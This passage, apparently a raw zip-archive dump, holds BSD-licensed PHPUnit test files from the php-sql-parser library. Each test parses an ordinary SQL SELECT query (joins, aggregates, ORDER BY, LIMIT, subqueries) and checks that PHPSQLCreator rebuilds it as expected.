 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue144Test extends \PHPUnit\Framework\TestCase {

	public function testIssue144() {
		$query = "SELECT * FROM TableA JOIN TableB USING(Col1, Col2)";
		$parser = new PHPSQLParser();
		$p = $parser->parse($query);
		$creator = new PHPSQLCreator();
		$created = $creator->create($p);
		$expected = getExpectedValue(dirname(__FILE__), 'issue144.sql', false);
		$this->assertSame($expected, $created, 'missing commas in Ref clause');
	}
}

?>
PK     \.O	  	  E  vendor/greenlion/php-sql-parser/tests/cases/creator/tableexprTest.phpnu [        <?php
/**
 * tablexpr.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class tableexprTest extends \PHPUnit\Framework\TestCase {
	
    public function testTableexpr() {
        $sql = "SELECT * FROM t1 LEFT JOIN (t2, t3, t4)
                         ON (t2.a=t1.a AND t3.b=t1.b AND t4.c=t1.c)";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'tableexpr.sql', false);
        $this->assertSame($expected, $created, 'table-expression on second position');

    }
}

PK     \6ٹ
  
  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue76Test.phpnu [        <?php
/**
 * issue76.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue76Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue76() {
        $sql = "SELECT AVG(2.0 * foo) FROM bar";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue76a.sql', false);
        $this->assertSame($expected, $created, 'Expressions in functions and aggregates.');

        $sql = "SELECT AVG(2.0 * foo, x) FROM bar";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue76b.sql', false);
        $this->assertSame($expected, $created, 'Expressions in functions and aggregates with additional parameters.');

    }
}

PK     \&WD	  D	  J  vendor/greenlion/php-sql-parser/tests/cases/creator/count_distinctTest.phpnu [        <?php
/**
 * count_distinct.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class count_distinctTest extends \PHPUnit\Framework\TestCase {
	
    public function testCount_distinct() {




        $sql = "SELECT COUNT(DISTINCT bla) FROM foo";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'distinct.sql', false);
        $this->assertSame($expected, $created, 'count(distinct x)');

    }
}

PK     \'    C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue89Test.phpnu [        <?php
/**
 * issue89.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue89Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue89() {
        $sql = "select ut.id, ut.numero_cartella, ut.nome, ut.cognome, floor(DATEDIFF(de.`data`,ut.data_di_nascita)/365) as eta,
        sx.valore as sesso, cd.valore as diagnosi_prevalente, co.valore as consapevolezza,
        DATEDIFF(de.`data`,az.data_inizio_assistenza) as durata_assistenza_giorni, ld.valore as luogo_decesso,
        ca.valore as carico_assistenza, if(sa.id is null, null,if(sa.fkey_cod_care_giver_interno__con_chi_vive=1,'si','no')) as vive_solo,
        sn.valore as oltre_70
        from gen_cms_utenti ut";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue89.sql', false);
        $this->assertSame($expected, $created, 'functions');

    }
}

PK     \yM	  M	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue316Test.phpnu [        <?php
/**
 * issue299.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue316Test extends \PHPUnit\Framework\TestCase
{
    public function testIssue299()
    {
        $parser = new PHPSQLParser();
        $sql = 'SELECT myField WHERE (myField IN (SELECT otherField FROM otherTable))';
        $parser->parse($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $this->assertEquals(
            'SELECT myField WHERE (myField IN (SELECT otherField FROM otherTable))',
            $creator->created
        );
    }
}
PK     \YZ  Z  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue63Test.phpnu [        <?php
/**
 * issue63.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue63Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue63a() {
        $sql = "SELECT col FROM table1 GROUP BY col";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue63a.sql', false);
        $this->assertSame($expected, $created, 'group by with colref fails.');
    }
    
    public function testIssue63b() {
        $sql = "SELECT col AS somealias FROM table ORDER BY somealias LIMIT 1";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue63b.sql', false);
        $this->assertSame($expected, $created, 'ORDER BY alias fails.');
    }
    
    public function testIssue63c() {
        $sql = "SELECT * FROM table LIMIT 1";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue63c.sql', false);
        $this->assertSame($expected, $created, 'LIMIT is ignored in output.');

    }
}

PK     \jWa	  a	  ?  vendor/greenlion/php-sql-parser/tests/cases/creator/ascTest.phpnu [        <?php
/**
 * asc.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class ascTest extends \PHPUnit\Framework\TestCase {
	
    public function testAsc() {
        $sql = "SELECT qid FROM QUESTIONS WHERE gid='1' and language='de-informal' ORDER BY question_order, title ASC";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'asc.sql', false);
        $this->assertSame($expected, $created, 'explicit ASC statement');

    }
}

PK     \IsAG	  G	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue132Test.phpnu [        <?php
/**
 * issue132.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue132Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue132() {
        $query = "select (c1 - c2) AS c3 from t1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue132.sql', false);
        $this->assertSame($expected, $created, 'lost alias of expression');

    }
}

PK     \au[	  [	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue88Test.phpnu [        <?php
/**
 * issue88.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue88Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue88() {
        $sql = "select (some_field = 'string') from table;";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue88.sql', false);
        $this->assertSame($expected, $created, 'Expression subtree should handle bracket_expressions.');

    }
}

PK     \q	  	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue134Test.phpnu [        <?php
/**
 * issue134.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue134Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue134() {
        $query = "select t1.*
        from Table1 t1
        STRAIGHT_JOIN  Table2 t2
        on t1.CommonID = t2.CommonID
        where t1.FilterID = 1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue134.sql', false);
        $this->assertSame($expected, $created, 'a straight_join within from clause');

    }
}

PK     \zE	  	  G  vendor/greenlion/php-sql-parser/tests/cases/creator/issue_git10Test.phpnu [        <?php

/**
 * issue_git10Test.php
 *
 * Test case for PHPSQLParser from issue #10 of GitHub.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
